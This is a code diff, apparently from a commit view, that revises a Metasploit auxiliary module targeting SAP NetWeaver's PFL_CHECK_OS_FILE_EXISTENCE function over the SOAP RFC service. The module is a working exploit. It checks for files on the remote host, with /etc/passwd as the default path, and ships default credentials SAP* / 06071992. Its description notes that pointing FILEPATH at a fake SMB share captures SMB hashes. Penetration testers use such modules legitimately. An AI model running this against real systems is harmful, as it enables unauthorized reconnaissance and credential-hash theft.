@@ -31,24 +31,32 @@ class Metasploit4 < Msf::Auxiliary
31
31
32
32
def initialize
33
33
super (
34
- 'Name' => 'PFL_CHECK_OS_FILE_EXISTENCE (file existence and SMB relay) ' ,
34
+ 'Name' => 'SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check ' ,
35
35
'Description' => %q{
36
- This module exploits the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE Missing Authorization Check and SMB Relay Vulnerability.
37
- It can be exploited remotely using RFC or webrfc without any additional autorisation by the user.
38
- Additionally it can be exploited via transaction SE37.
39
- SAP Note 1591146 / DSECRG-12-009.
40
- } ,
41
- 'References' => [ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ] ] ,
42
- 'Author' => [ 'nmonkee' ] ,
36
+ This module abuses the SAP NetWeaver PFL_CHECK_OS_FILE_EXISTENCE function, on
37
+ the SAP SOAP RFC Service, to check for files existence on the remote file system.
38
+ The module can also be used to capture SMB hashes by using a fake SMB share as
39
+ FILEPATH.
40
+ } ,
41
+ 'References' =>
42
+ [
43
+ [ 'OSVDB' , '78537' ] ,
44
+ [ 'URL' , 'http://erpscan.com/advisories/dsecrg-12-009-sap-netweaver-pfl_check_os_file_existence-missing-authorisation-check-and-smb-relay-vulnerability/' ]
45
+ ] ,
46
+ 'Author' =>
47
+ [
48
+ 'lexey Tyurin' , # Vulnerability discovery
49
+ 'nmonkee' # Metasploit module
50
+ ] ,
43
51
'License' => MSF_LICENSE
44
- )
52
+ )
45
53
46
54
register_options ( [
47
- OptString . new ( 'CLIENT' , [ true , 'SAP client ' , nil ] ) ,
48
- OptString . new ( 'USER ' , [ true , 'Username' , nil ] ) ,
49
- OptString . new ( 'PASS ' , [ true , 'Password' , nil ] ) ,
50
- OptString . new ( 'PATH ' , [ true , 'File path (e.g. \\\\xx.xx.xx.xx\\share )' , nil ] )
51
- ] , self . class )
55
+ OptString . new ( 'CLIENT' , [ true , 'SAP Client ' , '001' ] ) ,
56
+ OptString . new ( 'USERNAME ' , [ true , 'Username' , 'SAP*' ] ) ,
57
+ OptString . new ( 'PASSWORD ' , [ true , 'Password' , '06071992' ] ) ,
58
+ OptString . new ( 'FILEPATH ' , [ true , 'File Path to check for (e.g. /etc )' , '/etc/passwd' ] )
59
+ ] , self . class )
52
60
end
53
61
54
62
def run_host ( ip )
@@ -60,32 +68,41 @@ def run_host(ip)
60
68
data << '<SOAP-ENV:Body>'
61
69
data << '<PFL_CHECK_OS_FILE_EXISTENCE xmlns="urn:sap-com:document:sap:rfc:functions">'
62
70
data << '<FULLY_QUALIFIED_FILENAME></FULLY_QUALIFIED_FILENAME>'
63
- data << '<LONG_FILENAME>' + datastore [ 'PATH ' ] + '</LONG_FILENAME>'
71
+ data << '<LONG_FILENAME>' + datastore [ 'FILEPATH ' ] + '</LONG_FILENAME>'
64
72
data << '</PFL_CHECK_OS_FILE_EXISTENCE>'
65
73
data << '</SOAP-ENV:Body>'
66
74
data << '</SOAP-ENV:Envelope>'
67
- user_pass = Rex ::Text . encode_base64 ( datastore [ 'USER' ] + ":" + datastore [ 'PASS' ] )
68
75
begin
69
- print_status ( "[SAP] #{ ip } :#{ rport } - sending request for #{ datastore [ 'PATH ' ] } ")
70
- res = send_request_raw ( {
71
- 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore [ 'CLIENT' ] + '&sap-language=EN ',
76
+ vprint_status ( " #{ rhost } :#{ rport } - Sending request to check #{ datastore [ 'FILEPATH ' ] } ")
77
+ res = send_request_cgi ( {
78
+ 'uri' => '/sap/bc/soap/rfc' ,
72
79
'method' => 'POST' ,
73
80
'data' => data ,
74
- 'headers' => {
75
- 'Content-Length' => data . size . to_s ,
81
+ 'authorization' => basic_auth ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] ) ,
82
+ 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
83
+ 'ctype' => 'text/xml; charset=UTF-8' ,
84
+ 'headers' => {
76
85
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions' ,
77
- 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore [ 'CLIENT' ] ,
78
- 'Authorization' => 'Basic ' + user_pass ,
79
- 'Content-Type' => 'text/xml; charset=UTF-8' , }
80
- } , 45 )
81
- if res
82
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error code: " + res . code . to_s )
83
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error title: " + res . message . to_s )
84
- vprint_error ( "[SAP] #{ rhost } :#{ rport } - Error message: " + res . body . to_s )
85
- end
86
- rescue ::Rex ::ConnectionError
87
- print_error ( "#{ rhost } :#{ rport } - Unable to connect" )
88
- return
86
+ } ,
87
+ 'vars_get' => {
88
+ 'sap-client' => datastore [ 'CLIENT' ] ,
89
+ 'sap-language' => 'EN'
90
+ }
91
+ } )
92
+ if res and res . code == 200 and res . body =~ /PFL_CHECK_OS_FILE_EXISTENCE\. Response/
93
+ if res . body =~ /<FILE_EXISTS>X<\/ FILE_EXISTS>/
94
+ print_good ( "#{ rhost } :#{ rport } - File #{ datastore [ 'FILEPATH' ] } exists" )
95
+ else
96
+ print_warning ( "#{ rhost } :#{ rport } - File #{ datastore [ 'FILEPATH' ] } DOESN'T exist" )
97
+ end
98
+ elsif res
99
+ vprint_error ( "#{ rhost } :#{ rport } - Response code: " + res . code . to_s )
100
+ vprint_error ( "#{ rhost } :#{ rport } - Response message: " + res . message . to_s )
101
+ vprint_error ( "#{ rhost } :#{ rport } - Response body: " + res . body . to_s ) if res . body
89
102
end
103
+ rescue ::Rex ::ConnectionError
104
+ vprint_error ( "#{ rhost } :#{ rport } - Unable to connect" )
105
+ return
90
106
end
91
107
end
108
+ end
0 commit comments